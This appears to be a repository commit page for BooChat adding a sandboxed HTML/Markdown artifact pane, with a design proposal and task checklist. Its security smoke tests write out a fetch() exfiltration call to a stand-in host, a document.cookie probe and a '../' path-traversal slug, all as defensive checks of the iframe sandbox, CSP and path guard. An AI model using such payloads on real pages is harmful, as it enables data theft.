v1.13.19-html-artifact-panes: pane-based artifact viewer with on-request HTML
Every assistant message gets an "Open in pane" affordance that opens the
message in the workspace splitter — Markdown pane (Copy + Download .md) by
default; HTML pane (Download .html only) when the model emits a self-contained
<!DOCTYPE html> or fenced ```html artifact. BOOCHAT.md rule keeps Markdown
default at every length; HTML opt-in on explicit user request.
Backend: services/artifacts.ts (slug derivation + write helpers with
symlink-escape guard via realpath-after-mkdir), routes/artifacts.ts (POST
download + GET stream with nosniff + CSP sandbox defense-in-depth), HTML
detection in finalizeCompletion writing a new message_parts.kind='html_artifact'
row (schema CHECK extended via v1.13.13 pattern), graceful 1MB cap via the
pure decideHtmlArtifactWrite helper. PartKind union extended.
Frontend: MarkdownRenderer.tsx extracted from MessageBubble's inline
MarkdownBody for reuse; MarkdownArtifactPane.tsx + HtmlArtifactPane.tsx with
loading/error states; pane state is reference-only ({chat_id, message_id,
title}) — content fetched on mount to keep workspace_panes jsonb small and
avoid 1MB blobs riding session_workspace_updated frames. iframe sandbox
locked to allow-scripts allow-clipboard-write allow-downloads with no
allow-same-origin, srcDoc not src. openInPane discriminates 404 (expected
fallback) from real errors (toast + bail). PanelRightOpen icon button with
mobile 44px tap-target.
31 new server unit tests including a real-symlink filesystem case; 332/332
server tests passing, tsc clean both sides, pnpm -C apps/web build green.
Smoke deferred to first deploy.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
194
openspec/changes/v1.14.x-html-artifact-panes/proposal.md
Normal file
194
openspec/changes/v1.14.x-html-artifact-panes/proposal.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# v1.14.x-html-artifact-panes — pane-based artifact viewer (Markdown + HTML)
|
||||
|
||||
Every assistant message gets an "Open in pane" affordance that renders it as a full-height artifact in BooChat's existing workspace splitter. Markdown is the default render (the model's normal output, just promoted to a pane); HTML is opt-in when the user explicitly asks (e.g. "render this as HTML", "make me a dashboard", "build an interactive diagram"). Pane headers expose Copy + Download for Markdown, Download-only for HTML. **No inline iframe preview** — artifacts are pane-only.
|
||||
|
||||
Final tag slug to be assigned at ship time depending on ordering against v1.14 (outer loop) and v1.14.x-mcp (MCP PoC). This batch is independent of both.
|
||||
|
||||
## Why
|
||||
|
||||
Three pressures land in the same place:
|
||||
|
||||
1. **Long assistant replies are uncomfortable to read in the chat stream.** Scrolling a 400-line Markdown reply between bubbles is worse than reading it in a dedicated pane next to the chat. The workspace splitter already exists; the splitter just has no artifact pane type yet.
|
||||
2. **HTML output is a real format the model wants to produce sometimes** (Thariq Shihipar's "HTML > Markdown at length" pattern, May 20 2026 Claude blog) — diagrams, sliders, syntax-highlighted code, side-by-side comparisons, mobile-responsive layouts. But auto-biasing the model to HTML for >100-line outputs (the blog's recommendation) is too aggressive for BooChat's typical workflow; most replies are conversational and Markdown is the right surface. **HTML stays opt-in.**
|
||||
3. **Durable artifact downloads** — Sam can already copy Markdown out of a chat bubble, but there's no path to "save this reply as a `.md` next to the project, keep it around." Adding a Download button parallel to Copy gives every long reply a portable form.
|
||||
|
||||
## Scope
|
||||
|
||||
### S1. AGENTS.md guidance (no code change)
|
||||
|
||||
Add HTML-on-request rule to global `data/AGENTS.md`:
|
||||
|
||||
> Stay in Markdown by default for all outputs, short or long. Switch to a self-contained `<!DOCTYPE html>...</html>` artifact only when the user explicitly asks (e.g. "render this as HTML", "make a dashboard", "build a diagram"). When producing HTML, follow these design conventions: no excessive centered layouts, no purple gradients, no uniform rounded corners, no Inter font, no generic AI aesthetics. See `claude.com/blog/using-claude-code-the-unreasonable-effectiveness-of-html` (Thariq Shihipar, May 2026) for the design taxonomy.
|
||||
|
||||
The "auto-bias to HTML for >100 lines" recommendation from the blog post is deliberately NOT adopted. Markdown stays the default at every length.
|
||||
|
||||
### S2. Backend: HTML detection + part-kind extension
|
||||
|
||||
In `apps/server/src/services/inference/stream-phase.ts` post-processing, detect when an assistant text part:
|
||||
|
||||
- Starts with `<!DOCTYPE html>` (case-insensitive, whitespace-trimmed), OR
|
||||
- Is wrapped entirely in a fenced ` ```html ... ``` ` block
|
||||
|
||||
When detected, emit a new `message_parts` row with `kind='html_artifact'` and payload `{html_content, char_count, title}`. Title resolution order: `<title>` tag → first `<h1>` text → first 80 chars of inner text.
|
||||
|
||||
Detection is **opportunistic** — fires only when the model produced HTML (because the user asked). Otherwise the message stays plain-Markdown and no `html_artifact` part is written.
|
||||
|
||||
**Schema:**
|
||||
|
||||
```sql
|
||||
-- v1.14.x: extend message_parts.kind CHECK constraint with html_artifact
|
||||
ALTER TABLE message_parts DROP CONSTRAINT IF EXISTS message_parts_kind_chk;
|
||||
DO $$ BEGIN
|
||||
IF NOT EXISTS (SELECT 1 FROM pg_constraint WHERE conname = 'message_parts_kind_chk') THEN
|
||||
ALTER TABLE message_parts ADD CONSTRAINT message_parts_kind_chk
|
||||
CHECK (kind IN ('text', 'reasoning', 'tool_call', 'tool_result', 'synthesis', 'html_artifact'));
|
||||
END IF;
|
||||
END $$;
|
||||
```
|
||||
|
||||
Idempotent on re-run (drops + re-adds on every startup; trivial cost).
|
||||
|
||||
### S3. Frontend: pane affordance + two pane types
|
||||
|
||||
**MessageBubble.tsx** — add an "Open in pane" icon button to every assistant message footer, alongside the existing copy/regenerate controls. Click dispatches a workspace-pane action:
|
||||
|
||||
- If the message has an `html_artifact` part → opens `{type: 'html_artifact', message_id, html_content}`.
|
||||
- Otherwise → opens `{type: 'markdown_artifact', message_id}`.
|
||||
|
||||
**New pane types** registered in the workspace splitter (currently chat / empty / placeholder terminal+agent — adds `markdown_artifact` and `html_artifact`):
|
||||
|
||||
- `MarkdownArtifactPane.tsx` — pane shell. Header: title (derived from first heading or first 6 words), Copy button (raw Markdown source via `navigator.clipboard.writeText`), Download button (POST to `/api/chats/:id/messages/:msg_id/artifacts/download?fmt=md`). Body: reuses the same Markdown component used inline in `MessageBubble` (Shiki syntax highlighting, fenced code, tables, all preserved).
|
||||
- `HtmlArtifactPane.tsx` — pane shell. Header: title (from `html_artifact.payload.title`), Download button only (`?fmt=html`). Body: `<iframe srcdoc={html_content} sandbox="allow-scripts allow-clipboard-write allow-downloads" />` at full pane height. **No Copy button** for HTML.
|
||||
|
||||
Pane state persisted via `sessions.workspace_panes jsonb` (the v1.12.1 schema already supports arbitrary pane payloads — extend the `Pane` discriminated union with two new variants).
|
||||
|
||||
### S4. Download endpoint
|
||||
|
||||
New endpoint `POST /api/chats/:id/messages/:msg_id/artifacts/download?fmt=md|html`:
|
||||
|
||||
- Resolves the message and (for HTML) its `html_artifact` part.
|
||||
- Computes slug:
|
||||
- Markdown: first `# ` heading text, else first 6 words of message body, lowercased + hyphenated.
|
||||
- HTML: `<title>` tag content, else first `<h1>` text, else first 6 words of inner text. Same lowercase-hyphen treatment.
|
||||
- Writes to `/opt/<project>/.boocode/artifacts/<slug>-<unix-timestamp>.<ext>`. Path-guarded same as native write tools — must stay under the project root.
|
||||
- Returns `{path, url}` where `url` is the pre-signed link via the existing static-file serving route.
|
||||
|
||||
### S5. HTML iframe security stance
|
||||
|
||||
Locked from the original 2026-05-22 design:
|
||||
|
||||
```
|
||||
sandbox="allow-scripts allow-clipboard-write allow-downloads"
|
||||
```
|
||||
|
||||
**No `allow-same-origin`** — artifact has its own opaque origin, cannot read BooChat's cookies, Authelia session, or DOM. Backend serves the iframe content via `srcdoc=` inline (not `src=`) so no separate URL exists to disclose.
|
||||
|
||||
CSP applied to the iframe content (via `<meta http-equiv="Content-Security-Policy">` injected into the artifact's `<head>` if not already present):
|
||||
|
||||
```
|
||||
default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:; font-src data:; connect-src 'none'
|
||||
```
|
||||
|
||||
`connect-src 'none'` is the key clause — artifacts can't `fetch()`, can't open WebSockets, can't ping tracking pixels, can't exfiltrate. JS runs (interactive controls work) but nothing network-touching does.
|
||||
|
||||
### S6. Token-budget guard
|
||||
|
||||
Single HTML artifact: max 1MB of HTML in `message_parts.payload`. Larger triggers a streaming abort with a friendly error:
|
||||
|
||||
> Artifact exceeded 1MB; consider splitting into multiple files or reducing inline assets.
|
||||
|
||||
Markdown artifacts have no separate cap — they're bounded by the existing message-size envelope.
|
||||
|
||||
## Hard rules
|
||||
|
||||
- No git commit, no git push, no git pull during dispatch. Sam commits manually.
|
||||
- Backup every file before edit per the standard convention (`.bak-v1.14.x-html-<YYYYMMDD>`).
|
||||
- TS strict, no `any`.
|
||||
- No new deps. The Markdown renderer, Shiki, the workspace splitter, and `navigator.clipboard.writeText` are all already in the bundle.
|
||||
- Schema migration is additive only (extend CHECK constraint), idempotent on re-run.
|
||||
- Path-guard layer (`apps/server/src/services/path_guard.ts`) enforces that downloads stay under the project root.
|
||||
- Secret-file deny list still runs on the resolved download path.
|
||||
- HTML iframe sandbox attributes are non-negotiable — exact attribute string as written in S5.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No auto-bias to HTML for long outputs.** The AGENTS.md rule explicitly says Markdown is default at every length.
|
||||
- **No inline iframe preview in the chat stream.** Pane-only.
|
||||
- **No Copy button on HTML panes.** Download-only for HTML.
|
||||
- **No separate artifacts table.** Artifacts live in `message_parts` (HTML) or derive from the assistant message (Markdown). Downloads are user-managed on disk under `/opt/<project>/.boocode/artifacts/`.
|
||||
- **No vendor of `anthropics/skills/web-artifacts-builder`.** That skill is built for Claude.ai's Vite/Parcel runtime; BooChat has no shell execution surface. Just lift the design principles into AGENTS.md.
|
||||
- **No changes to `apps/booterm` or `apps/coder`.** This is a BooChat-only batch.
|
||||
|
||||
## Stop checkpoints
|
||||
|
||||
1. After recon (read existing `Pane` discriminated union + workspace splitter + MessageBubble + `message_parts` shape + path_guard): stop, hand back the recon report.
|
||||
2. After backend edits (detection + schema + download endpoint), before frontend work: stop, hand back diff + curl test of the download endpoint.
|
||||
3. After frontend edits, before schema migration applies in dev: stop, hand back diff.
|
||||
4. After schema migration applies in dev: stop, run smoke plan, report.
|
||||
|
||||
## Smoke plan
|
||||
|
||||
1. **Markdown pane — happy path.** Send a chat that produces a long Markdown reply (e.g. "explain the inference loop in detail"). Click "Open in pane" on the assistant message. Confirm:
|
||||
- Pane opens in the workspace splitter at full height.
|
||||
- Markdown renders with syntax highlighting on fenced code blocks (Shiki working).
|
||||
- Header shows a sensible title (first heading or first 6 words).
|
||||
- Copy button writes raw Markdown source to clipboard — paste into a text editor and verify it's the same source the assistant emitted.
|
||||
- Download button writes `/opt/boocode/.boocode/artifacts/<slug>-<ts>.md` and the file contains the raw source.
|
||||
|
||||
2. **HTML pane — happy path.** Send "render a simple HTML dashboard with three interactive sliders that update a div in real time." Confirm:
|
||||
- Model produces `<!DOCTYPE html>...` content.
|
||||
- `message_parts` row with `kind='html_artifact'` is written.
|
||||
- Click "Open in pane" — HTML pane renders the artifact in a sandboxed iframe.
|
||||
- Sliders work (JS runs inside the iframe).
|
||||
- Download button writes `.html` to the artifacts dir.
|
||||
- No Copy button on the HTML pane.
|
||||
|
||||
3. **HTML security — exfil attempt.** Send "render an HTML page that tries to fetch('https://example.com/exfil') and display the result." Confirm:
|
||||
- Iframe loads but the `fetch()` is blocked by `connect-src 'none'`.
|
||||
- Browser devtools shows the CSP violation.
|
||||
- No network request leaves the iframe.
|
||||
|
||||
4. **HTML security — DOM access attempt.** Send "render an HTML page with `<script>document.cookie</script>`." Confirm the script sees the iframe's own (empty) cookie jar, NOT BooChat's parent cookies — sandbox without `allow-same-origin` enforces opaque origin.
|
||||
|
||||
5. **Markdown opt-in HTML.** Send a normal "summarize the codebase" reply (Markdown), then a follow-up "now render that as HTML." Confirm the second reply produces an HTML artifact while the first stays plain-Markdown — detection is opportunistic, doesn't auto-promote.
|
||||
|
||||
6. **1MB cap.** Construct a synthetic test that asks for a >1MB HTML artifact. Confirm the streaming aborts with the friendly error message; no `message_parts` row with oversized payload is written.
|
||||
|
||||
7. **Path-guard enforcement on download.** Try to download with a hand-crafted slug containing `../`. Confirm the path-guard rejects it.
|
||||
|
||||
8. **Persistence across reload.** Open both a Markdown and an HTML pane. Hard-reload the browser. Confirm both panes restore via `sessions.workspace_panes`.
|
||||
|
||||
## Done when
|
||||
|
||||
- Backend: `stream-phase.ts` detects HTML, writes `html_artifact` part. Schema migration shipped. Download endpoint live + path-guarded.
|
||||
- Frontend: `MarkdownArtifactPane` + `HtmlArtifactPane` components shipped. MessageBubble has the "Open in pane" affordance. Workspace `Pane` discriminated union extended.
|
||||
- AGENTS.md updated with the HTML-on-request rule.
|
||||
- Smoke plan green (all 8 steps).
|
||||
- Tag + CHANGELOG entry + roadmap retrospective bullet at the bottom of the v1.14.x-html roadmap section.
|
||||
|
||||
## Files expected to touch
|
||||
|
||||
**Backend:**
|
||||
- `apps/server/src/schema.sql` — extend `message_parts.kind` CHECK constraint
|
||||
- `apps/server/src/services/inference/stream-phase.ts` — HTML detection in post-processing
|
||||
- `apps/server/src/services/inference/parts.ts` — `PartKind` union adds `'html_artifact'`
|
||||
- `apps/server/src/routes/messages.ts` — new `POST /api/chats/:id/messages/:msg_id/artifacts/download` endpoint (or new `artifacts.ts` route file)
|
||||
- `apps/server/src/services/artifacts.ts` — NEW. `writeMarkdownArtifact(msg, projectRoot)` + `writeHtmlArtifact(part, projectRoot)` + slug derivation helpers
|
||||
- `apps/server/src/services/path_guard.ts` — no change expected; existing guard handles the artifacts dir as a project-scoped write target
|
||||
|
||||
**Frontend:**
|
||||
- `apps/web/src/components/MessageBubble.tsx` — add "Open in pane" affordance to assistant message footer
|
||||
- `apps/web/src/components/MarkdownArtifactPane.tsx` — NEW
|
||||
- `apps/web/src/components/HtmlArtifactPane.tsx` — NEW
|
||||
- `apps/web/src/types/panes.ts` (or wherever `Pane` lives) — extend discriminated union with `markdown_artifact` + `html_artifact` variants
|
||||
- `apps/web/src/api/client.ts` — `api.messages.downloadArtifact(msgId, fmt)`
|
||||
- `apps/web/src/api/types.ts` — mirror the new pane variants and `html_artifact` part kind
|
||||
|
||||
**Docs:**
|
||||
- `data/AGENTS.md` — HTML-on-request rule
|
||||
- `boocode_roadmap.md` — retrospective bullet at the bottom of the v1.14.x-html section
|
||||
- `CHANGELOG.md` — new `##` entry with the tag
|
||||
|
||||
## Estimate
|
||||
|
||||
~400 LoC total. Backend ~200 LoC (detection + part-kind extension + download endpoint + slug derivation). Frontend ~200 LoC (two pane components + MessageBubble affordance + pane integration + API client wiring).
|
||||
124
openspec/changes/v1.14.x-html-artifact-panes/tasks.md
Normal file
124
openspec/changes/v1.14.x-html-artifact-panes/tasks.md
Normal file
@@ -0,0 +1,124 @@
|
||||
# v1.14.x-html-artifact-panes tasks
|
||||
|
||||
## B1 — Backups
|
||||
|
||||
- [ ] `apps/server/src/schema.sql.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/server/src/services/inference/stream-phase.ts.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/server/src/services/inference/parts.ts.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/server/src/routes/messages.ts.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/web/src/components/MessageBubble.tsx.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/web/src/api/client.ts.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `apps/web/src/api/types.ts.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
- [ ] `data/AGENTS.md.bak-v1.14.x-html-<YYYYMMDD>`
|
||||
|
||||
## B2 — Recon (STOP after this step)
|
||||
|
||||
- [ ] Read existing `Pane` discriminated union and locate the workspace splitter component
|
||||
- [ ] Read `MessageBubble.tsx` to find the assistant-message footer (copy/regenerate controls location)
|
||||
- [ ] Read `message_parts` shape + `PartKind` union in `parts.ts`
|
||||
- [ ] Read `stream-phase.ts` post-processing path (where text parts are finalized into rows)
|
||||
- [ ] Read `path_guard.ts` to confirm write semantics for `/opt/<project>/.boocode/artifacts/`
|
||||
- [ ] Read the existing static-file serving route to understand the URL shape for downloads
|
||||
- [ ] Hand back a recon report: exact line numbers + signatures of insertion points
|
||||
|
||||
## B3 — Schema migration
|
||||
|
||||
- [ ] Extend `message_parts.kind` CHECK constraint with `'html_artifact'`
|
||||
- [ ] Use the `DROP CONSTRAINT IF EXISTS` + `DO $$ pg_constraint $$` pattern (matches the rest of `schema.sql`)
|
||||
- [ ] Confirm idempotent on re-run: apply twice in dev, no error
|
||||
|
||||
## B4 — Backend: HTML detection
|
||||
|
||||
- [ ] Extend `PartKind` union in `apps/server/src/services/inference/parts.ts` with `'html_artifact'`
|
||||
- [ ] In `stream-phase.ts` post-processing: detect text parts starting with `<!DOCTYPE html>` (case-insensitive, trimmed) OR wrapped in fenced ` ```html ` block
|
||||
- [ ] Title resolution helper: `<title>` tag → first `<h1>` text → first 80 chars of inner text
|
||||
- [ ] Write the `html_artifact` part with payload `{html_content, char_count, title}` via the existing `insertParts` helper
|
||||
- [ ] 1MB cap check before write: abort stream with friendly error if exceeded
|
||||
- [ ] Detection is opportunistic — does NOT replace the text part, just adds a sibling `html_artifact` part
|
||||
|
||||
## B5 — Backend: artifacts service
|
||||
|
||||
- [ ] NEW `apps/server/src/services/artifacts.ts`
|
||||
- [ ] `deriveMarkdownSlug(messageContent: string): string` — first `# ` heading → first 6 words → lowercase + hyphenate
|
||||
- [ ] `deriveHtmlSlug(payload: HtmlArtifactPayload): string` — `<title>` → first `<h1>` → first 6 words of inner text → lowercase + hyphenate
|
||||
- [ ] `writeMarkdownArtifact(message, projectRoot): Promise<{path, url}>` — slug + timestamp + write to `<projectRoot>/.boocode/artifacts/`
|
||||
- [ ] `writeHtmlArtifact(part, projectRoot): Promise<{path, url}>` — same shape
|
||||
- [ ] Path-guard both writes via existing helpers
|
||||
- [ ] Ensure `<projectRoot>/.boocode/artifacts/` exists (mkdir recursive)
|
||||
|
||||
## B6 — Backend: download endpoint
|
||||
|
||||
- [ ] NEW endpoint registration: `POST /api/chats/:id/messages/:msg_id/artifacts/download?fmt=md|html`
|
||||
- [ ] Fastify route in `apps/server/src/routes/messages.ts` (or new `artifacts.ts` route file — decide during impl)
|
||||
- [ ] Zod schema on `?fmt=` query param
|
||||
- [ ] Resolve message + (for HTML) the `html_artifact` part
|
||||
- [ ] Call `writeMarkdownArtifact` or `writeHtmlArtifact` per `fmt`
|
||||
- [ ] Return `{path, url}`
|
||||
- [ ] Error path: 404 if `fmt=html` requested but no html_artifact part exists
|
||||
|
||||
## B7 — Backend: STOP checkpoint after B3–B6
|
||||
|
||||
- [ ] `npx tsc --noEmit -p apps/server` — 0 errors
|
||||
- [ ] Smoke download endpoint via `curl http://100.114.205.53:9500/api/chats/<id>/messages/<msg_id>/artifacts/download?fmt=md` against a real message
|
||||
- [ ] Hand back diff + curl output
|
||||
|
||||
## B8 — Frontend: Pane discriminated union extension
|
||||
|
||||
- [ ] Extend `Pane` discriminated union with two variants:
|
||||
- `{ kind: 'markdown_artifact', message_id: string }`
|
||||
- `{ kind: 'html_artifact', message_id: string, html_content: string, title: string }`
|
||||
- [ ] Update `validatePanes` to handle the new variants (no-op if message_id still exists)
|
||||
- [ ] Mirror types in `apps/web/src/api/types.ts` (`MessagePart` discriminator + new pane variants)
|
||||
|
||||
## B9 — Frontend: pane components
|
||||
|
||||
- [ ] NEW `apps/web/src/components/MarkdownArtifactPane.tsx`
|
||||
- Header: title + Copy button (raw source via `navigator.clipboard.writeText`) + Download button + close-pane affordance
|
||||
- Body: reuse the same Markdown render component used in `MessageBubble`
|
||||
- [ ] NEW `apps/web/src/components/HtmlArtifactPane.tsx`
|
||||
- Header: title + Download button + close-pane affordance (NO Copy)
|
||||
- Body: `<iframe srcdoc={html_content} sandbox="allow-scripts allow-clipboard-write allow-downloads" className="w-full h-full" />`
|
||||
- [ ] Wire both into the workspace splitter's pane-type registry
|
||||
|
||||
## B10 — Frontend: MessageBubble affordance
|
||||
|
||||
- [ ] Add "Open in pane" icon button to assistant message footer (next to existing copy/regenerate controls)
|
||||
- [ ] On click: dispatch workspace-pane action
|
||||
- If message has `html_artifact` part → open as html_artifact pane (with title + html_content from the part)
|
||||
- Else → open as markdown_artifact pane
|
||||
- [ ] Mobile tap target: `max-md:min-h-[44px] max-md:min-w-[44px]`
|
||||
|
||||
## B11 — Frontend: API client
|
||||
|
||||
- [ ] `api.messages.downloadArtifact(chatId, msgId, fmt: 'md' | 'html')` → POST to the new endpoint
|
||||
- [ ] Returns `{path, url}` — Copy button uses raw text from the message; Download button uses the returned URL
|
||||
|
||||
## B12 — Frontend: STOP checkpoint after B8–B11
|
||||
|
||||
- [ ] `npx tsc -p apps/web/tsconfig.app.json --noEmit` — 0 errors (root tsc may miss web errors per CLAUDE.md)
|
||||
- [ ] `pnpm -C apps/web build` succeeds (including the `U+2500-259F` guard)
|
||||
- [ ] Hand back diff
|
||||
|
||||
## B13 — AGENTS.md guidance
|
||||
|
||||
- [ ] Add HTML-on-request rule to `data/AGENTS.md`
|
||||
- [ ] Inline "avoid AI slop" design conventions (no centered layouts, no purple gradients, no uniform rounded corners, no Inter font)
|
||||
- [ ] Cite Thariq Shihipar's blog post (May 2026) as the source
|
||||
|
||||
## B14 — Smoke (STOP at end, full report)
|
||||
|
||||
- [ ] Markdown pane happy path (open, render, copy, download)
|
||||
- [ ] HTML pane happy path (open, render, JS executes, download — no Copy button)
|
||||
- [ ] HTML security exfil attempt — `fetch()` blocked by `connect-src 'none'`
|
||||
- [ ] HTML security DOM access — sandbox without `allow-same-origin` enforces opaque origin
|
||||
- [ ] Opt-in opportunistic detection — first reply Markdown, follow-up "render as HTML" produces artifact
|
||||
- [ ] 1MB cap — synthetic test, streaming aborts with friendly error
|
||||
- [ ] Path-guard on download — hand-crafted `../` slug rejected
|
||||
- [ ] Persistence — pane state survives hard reload via `sessions.workspace_panes`
|
||||
|
||||
## B15 — OpenSpec docs + release
|
||||
|
||||
- [ ] Mark this `tasks.md` checkboxes complete after each step
|
||||
- [ ] Append retrospective bullet to bottom of v1.14.x-html section in `boocode_roadmap.md`
|
||||
- [ ] Add `CHANGELOG.md` entry with the assigned tag (e.g. `v1.14.1-html-artifact-panes` — final patch number assigned at ship time depending on order vs v1.14 outer loop)
|
||||
- [ ] Hand back to Sam for tag + commit
|
||||
Reference in New Issue
Block a user